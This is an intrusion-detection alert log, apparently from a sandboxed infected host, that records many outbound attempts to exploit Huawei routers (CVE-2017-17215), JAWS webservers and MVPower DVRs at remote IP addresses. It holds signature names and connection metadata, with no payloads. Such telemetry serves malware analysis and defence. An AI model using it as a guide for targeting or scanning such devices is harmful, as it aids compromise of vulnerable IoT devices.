06/10/24-15:38:02.165236	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53942	80	192.168.2.13	172.189.3.93
06/10/24-15:38:00.000374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42520	37215	192.168.2.13	156.225.196.18
06/10/24-15:38:02.186210	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52934	80	192.168.2.13	189.184.117.112
06/10/24-15:38:00.205114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43116	37215	192.168.2.13	41.237.191.106
06/10/24-15:38:00.008957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36608	37215	192.168.2.13	41.223.243.35
06/10/24-15:38:02.640548	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52172	37215	192.168.2.13	197.78.160.7
06/10/24-15:37:59.930930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32834	37215	192.168.2.13	156.249.70.243
06/10/24-15:38:00.168829	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60102	37215	192.168.2.13	197.140.21.238
06/10/24-15:38:02.831855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49014	37215	192.168.2.13	41.139.202.223
06/10/24-15:38:02.196419	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58088	80	192.168.2.13	60.159.195.222
06/10/24-15:38:02.819947	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46090	37215	192.168.2.13	156.21.102.72
06/10/24-15:38:02.490299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54648	37215	192.168.2.13	156.113.194.151
06/10/24-15:38:00.172951	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57678	37215	192.168.2.13	41.13.119.15
06/10/24-15:38:02.197003	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55228	80	192.168.2.13	76.250.8.228
06/10/24-15:38:02.650127	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36866	37215	192.168.2.13	197.35.156.28
06/10/24-15:38:02.698008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42586	37215	192.168.2.13	41.64.38.156
06/10/24-15:38:02.839299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57412	37215	192.168.2.13	197.106.115.54
06/10/24-15:38:02.091217	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55178	80	192.168.2.13	75.148.35.4
06/10/24-15:38:00.219730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46594	37215	192.168.2.13	41.228.140.97
06/10/24-15:38:02.725896	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50012	37215	192.168.2.13	197.50.7.2
06/10/24-15:38:02.730340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34008	37215	192.168.2.13	156.36.1.67
06/10/24-15:38:02.930759	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33768	37215	192.168.2.13	156.147.57.40
06/10/24-15:38:02.170154	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53182	80	192.168.2.13	175.46.116.191
06/10/24-15:38:02.221501	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50200	80	192.168.2.13	176.61.110.28
06/10/24-15:38:02.639864	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51214	37215	192.168.2.13	41.253.166.204
06/10/24-15:38:02.136395	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36728	80	192.168.2.13	162.38.247.40
06/10/24-15:38:00.205893	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36610	37215	192.168.2.13	197.128.46.215
06/10/24-15:38:02.192228	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60074	80	192.168.2.13	64.49.25.82
06/10/24-15:38:02.494522	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39212	37215	192.168.2.13	41.246.40.161
06/10/24-15:38:02.704450	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40856	37215	192.168.2.13	41.213.236.151
06/10/24-15:38:02.866110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54502	37215	192.168.2.13	156.239.132.115
06/10/24-15:37:59.831568	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53462	80	192.168.2.13	220.219.206.99
06/10/24-15:38:02.726932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34468	37215	192.168.2.13	156.185.253.184
06/10/24-15:38:00.226767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33888	37215	192.168.2.13	197.22.241.36
06/10/24-15:37:59.957760	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51050	37215	192.168.2.13	41.41.95.201
06/10/24-15:38:02.084991	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58912	80	192.168.2.13	67.115.43.219
06/10/24-15:38:02.643438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54252	37215	192.168.2.13	156.20.242.161
06/10/24-15:38:02.087778	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46684	80	192.168.2.13	62.168.165.136
06/10/24-15:38:00.214768	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50926	37215	192.168.2.13	197.29.244.234
06/10/24-15:38:02.115391	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57908	80	192.168.2.13	208.224.88.164
06/10/24-15:38:02.879110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58050	37215	192.168.2.13	41.150.80.142
06/10/24-15:38:02.647915	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51404	37215	192.168.2.13	197.111.134.175
06/10/24-15:38:02.680398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39902	37215	192.168.2.13	41.164.87.115
06/10/24-15:38:00.194715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37402	37215	192.168.2.13	197.153.65.158
06/10/24-15:38:02.642678	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41888	37215	192.168.2.13	156.17.79.89
06/10/24-15:38:02.801648	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42440	37215	192.168.2.13	156.201.150.156
06/10/24-15:38:00.203547	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45678	37215	192.168.2.13	197.246.123.244
06/10/24-15:37:59.873252	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52736	80	192.168.2.13	96.171.224.255
06/10/24-15:38:02.759599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43962	37215	192.168.2.13	41.212.41.218
06/10/24-15:38:00.182265	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34830	37215	192.168.2.13	197.26.246.153
06/10/24-15:37:59.995486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58564	37215	192.168.2.13	156.245.2.205
06/10/24-15:38:00.202797	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49114	37215	192.168.2.13	41.206.110.186
06/10/24-15:37:59.943220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34092	37215	192.168.2.13	41.30.124.178
06/10/24-15:38:00.200487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38990	37215	192.168.2.13	197.73.57.101
06/10/24-15:38:00.188379	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44576	37215	192.168.2.13	197.152.159.10
06/10/24-15:38:02.328277	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34562	80	192.168.2.13	36.200.197.84
06/10/24-15:38:00.014210	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56360	37215	192.168.2.13	41.241.121.248
06/10/24-15:38:02.126715	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43072	80	192.168.2.13	148.32.33.91
06/10/24-15:38:02.217347	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36550	80	192.168.2.13	124.237.240.235
06/10/24-15:37:59.822693	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34326	80	192.168.2.13	161.147.107.200
06/10/24-15:37:59.802263	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47840	80	192.168.2.13	99.27.23.33
06/10/24-15:37:59.996932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38538	37215	192.168.2.13	41.179.145.152
06/10/24-15:38:02.145724	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33994	80	192.168.2.13	99.191.18.126
06/10/24-15:37:59.948996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42108	37215	192.168.2.13	197.215.149.213
06/10/24-15:38:00.013509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52976	37215	192.168.2.13	197.57.169.86
06/10/24-15:38:02.699989	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56932	37215	192.168.2.13	41.161.75.219
06/10/24-15:38:02.502251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51694	37215	192.168.2.13	197.235.58.223
06/10/24-15:38:02.134607	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39618	80	192.168.2.13	179.209.203.124
06/10/24-15:37:59.943966	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60614	37215	192.168.2.13	156.10.20.117
06/10/24-15:37:59.956134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38414	37215	192.168.2.13	156.167.122.41
06/10/24-15:38:02.639134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37932	37215	192.168.2.13	156.242.158.116
06/10/24-15:38:00.227634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56846	37215	192.168.2.13	41.31.222.74
06/10/24-15:38:00.012794	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49156	37215	192.168.2.13	156.245.237.250
06/10/24-15:38:02.673517	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38196	37215	192.168.2.13	197.217.153.165
06/10/24-15:38:02.663241	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54254	37215	192.168.2.13	156.225.226.13
06/10/24-15:38:02.509056	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43224	37215	192.168.2.13	156.103.216.158
06/10/24-15:37:59.952964	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56508	37215	192.168.2.13	197.35.253.5
06/10/24-15:37:59.965473	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48328	37215	192.168.2.13	41.15.193.245
06/10/24-15:38:02.227237	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45604	80	192.168.2.13	82.198.125.207
06/10/24-15:38:02.139988	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51556	80	192.168.2.13	130.57.240.142
06/10/24-15:38:02.180176	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36034	80	192.168.2.13	62.202.106.198
06/10/24-15:38:02.711502	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56870	37215	192.168.2.13	41.91.70.189
06/10/24-15:38:02.506945	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38860	37215	192.168.2.13	41.53.52.238
06/10/24-15:38:00.037730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50096	37215	192.168.2.13	156.175.16.45
06/10/24-15:38:02.761061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36230	37215	192.168.2.13	197.0.213.101
06/10/24-15:38:00.263818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45736	37215	192.168.2.13	41.207.144.176
06/10/24-15:38:02.867036	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52678	37215	192.168.2.13	197.121.202.25
06/10/24-15:38:02.257662	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51362	80	192.168.2.13	139.221.66.14
06/10/24-15:38:02.796621	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51590	37215	192.168.2.13	197.197.52.159
06/10/24-15:38:00.173963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33040	37215	192.168.2.13	156.217.108.5
06/10/24-15:38:02.222619	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55402	80	192.168.2.13	88.20.26.107
06/10/24-15:38:00.244658	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47540	37215	192.168.2.13	41.182.154.164
06/10/24-15:37:59.811339	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54380	80	192.168.2.13	167.251.162.140
06/10/24-15:38:00.032058	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51814	37215	192.168.2.13	197.105.195.56
06/10/24-15:38:02.828946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55338	37215	192.168.2.13	197.51.133.84
06/10/24-15:38:02.712763	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56980	37215	192.168.2.13	156.212.245.105
06/10/24-15:38:00.207478	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59202	37215	192.168.2.13	156.200.117.215
06/10/24-15:38:00.264605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48610	37215	192.168.2.13	156.7.198.77
06/10/24-15:38:00.170870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57464	37215	192.168.2.13	41.65.114.229
06/10/24-15:38:02.138190	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39472	80	192.168.2.13	180.138.26.228
06/10/24-15:37:59.847523	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58522	80	192.168.2.13	92.126.239.180
06/10/24-15:37:59.961213	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42564	37215	192.168.2.13	197.27.200.127
06/10/24-15:37:59.937775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51088	37215	192.168.2.13	156.185.143.113
06/10/24-15:38:00.225874	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60486	37215	192.168.2.13	197.25.198.155
06/10/24-15:38:02.871465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38466	37215	192.168.2.13	197.29.159.134
06/10/24-15:38:02.740863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59230	37215	192.168.2.13	41.111.68.220
06/10/24-15:37:59.924273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55322	37215	192.168.2.13	41.112.237.34
06/10/24-15:38:02.701067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35468	37215	192.168.2.13	41.229.41.14
06/10/24-15:38:02.920636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57886	37215	192.168.2.13	197.184.200.60
06/10/24-15:38:00.012098	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50268	37215	192.168.2.13	197.128.25.119
06/10/24-15:38:02.567099	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45438	37215	192.168.2.13	156.99.186.57
06/10/24-15:38:02.798921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58940	37215	192.168.2.13	156.145.128.99
06/10/24-15:37:59.970506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60046	37215	192.168.2.13	41.174.115.39
06/10/24-15:38:02.696885	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56356	37215	192.168.2.13	197.110.23.1
06/10/24-15:38:02.859446	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55734	37215	192.168.2.13	41.119.169.82
06/10/24-15:38:02.489622	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36090	37215	192.168.2.13	41.43.184.117
06/10/24-15:38:02.265344	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57046	80	192.168.2.13	76.19.240.75
06/10/24-15:38:02.756024	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37358	37215	192.168.2.13	156.165.101.234
06/10/24-15:38:02.863237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37642	37215	192.168.2.13	41.14.234.212
06/10/24-15:38:02.146535	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36400	80	192.168.2.13	72.99.239.26
06/10/24-15:38:00.252450	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37234	37215	192.168.2.13	197.176.22.163
06/10/24-15:38:02.658653	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58346	37215	192.168.2.13	156.2.142.241
06/10/24-15:38:02.496645	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44582	37215	192.168.2.13	197.62.0.215
06/10/24-15:37:59.972189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41548	37215	192.168.2.13	197.33.14.33
06/10/24-15:38:02.164056	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50066	80	192.168.2.13	113.161.7.171
06/10/24-15:38:02.209869	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40614	80	192.168.2.13	82.111.112.237
06/10/24-15:38:02.253866	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56536	80	192.168.2.13	24.116.173.33
06/10/24-15:38:02.093026	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47666	80	192.168.2.13	132.254.47.159
06/10/24-15:38:02.112260	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60740	80	192.168.2.13	175.194.108.221
06/10/24-15:38:02.491767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59288	37215	192.168.2.13	41.172.90.182
06/10/24-15:38:02.504277	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55388	37215	192.168.2.13	197.86.241.113
06/10/24-15:37:59.842965	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49276	80	192.168.2.13	219.24.143.221
06/10/24-15:38:02.837956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51482	37215	192.168.2.13	156.161.132.25
06/10/24-15:38:00.132778	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40686	37215	192.168.2.13	41.219.156.112
06/10/24-15:38:00.265357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51268	37215	192.168.2.13	41.201.241.195
06/10/24-15:38:02.164719	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35744	80	192.168.2.13	99.110.30.54
06/10/24-15:38:02.103822	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38728	80	192.168.2.13	223.124.210.132
06/10/24-15:38:02.772411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43048	37215	192.168.2.13	156.186.79.156
06/10/24-15:38:00.215590	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57534	37215	192.168.2.13	156.166.206.200
06/10/24-15:38:02.906256	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33836	37215	192.168.2.13	41.161.161.103
06/10/24-15:38:02.129599	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39360	80	192.168.2.13	107.49.182.125
06/10/24-15:38:00.254476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36058	37215	192.168.2.13	41.214.194.245
06/10/24-15:38:02.177224	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46608	80	192.168.2.13	201.247.10.188
06/10/24-15:37:59.765229	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45956	80	192.168.2.13	20.2.48.78
06/10/24-15:37:59.854316	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49022	80	192.168.2.13	80.246.211.214
06/10/24-15:38:02.220675	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57864	80	192.168.2.13	110.93.10.149
06/10/24-15:38:02.774996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39138	37215	192.168.2.13	156.179.59.101
06/10/24-15:38:02.851207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55572	37215	192.168.2.13	197.81.50.55
06/10/24-15:38:02.750600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48216	37215	192.168.2.13	41.96.242.34
06/10/24-15:38:00.011379	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43896	37215	192.168.2.13	41.186.220.178
06/10/24-15:38:02.909928	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54426	37215	192.168.2.13	41.223.106.15
06/10/24-15:38:00.271532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51048	37215	192.168.2.13	41.136.101.104
06/10/24-15:37:59.926044	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44436	37215	192.168.2.13	156.190.41.183
06/10/24-15:38:02.638444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40638	37215	192.168.2.13	41.46.185.236
06/10/24-15:38:02.193979	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40012	80	192.168.2.13	52.106.240.216
06/10/24-15:38:02.111021	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49952	80	192.168.2.13	19.78.165.78
06/10/24-15:37:59.753726	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58648	80	192.168.2.13	50.13.193.163
06/10/24-15:38:02.646438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45280	37215	192.168.2.13	197.159.14.165
06/10/24-15:38:00.030618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41584	37215	192.168.2.13	41.169.217.182
06/10/24-15:38:02.874286	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60666	37215	192.168.2.13	197.65.234.66
06/10/24-15:38:02.693449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37908	37215	192.168.2.13	197.2.17.159
06/10/24-15:37:59.979940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35362	37215	192.168.2.13	41.117.93.142
06/10/24-15:37:59.874568	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57824	80	192.168.2.13	135.106.4.49
06/10/24-15:38:00.198882	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40706	37215	192.168.2.13	41.229.216.231
06/10/24-15:38:00.028419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42996	37215	192.168.2.13	197.211.105.203
06/10/24-15:38:02.111653	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36160	80	192.168.2.13	123.231.38.192
06/10/24-15:38:00.240544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39526	37215	192.168.2.13	156.14.175.34
06/10/24-15:38:02.499468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51642	37215	192.168.2.13	41.186.51.90
06/10/24-15:38:02.647206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39070	37215	192.168.2.13	156.230.86.20
06/10/24-15:38:02.679364	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55308	37215	192.168.2.13	41.184.163.172
06/10/24-15:37:59.941715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41282	37215	192.168.2.13	156.97.36.34
06/10/24-15:38:00.022039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48046	37215	192.168.2.13	197.167.77.113
06/10/24-15:37:59.956930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39354	37215	192.168.2.13	41.113.11.68
06/10/24-15:38:02.190464	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54796	80	192.168.2.13	163.171.166.32
06/10/24-15:38:00.033459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36414	37215	192.168.2.13	156.115.29.3
06/10/24-15:37:59.786107	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40246	80	192.168.2.13	96.121.230.115
06/10/24-15:37:59.927028	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33064	37215	192.168.2.13	41.251.69.196
06/10/24-15:38:02.872396	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33202	37215	192.168.2.13	156.136.99.172
06/10/24-15:38:02.656592	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34154	37215	192.168.2.13	156.66.27.141
06/10/24-15:38:02.856030	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46888	37215	192.168.2.13	41.147.198.198
06/10/24-15:38:02.656081	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38930	37215	192.168.2.13	41.120.207.139
06/10/24-15:38:02.814855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35140	37215	192.168.2.13	197.255.67.237
06/10/24-15:37:59.997798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42556	37215	192.168.2.13	41.195.163.183
06/10/24-15:38:02.247308	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60392	80	192.168.2.13	140.40.175.146
06/10/24-15:38:00.016307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60502	37215	192.168.2.13	156.176.31.94
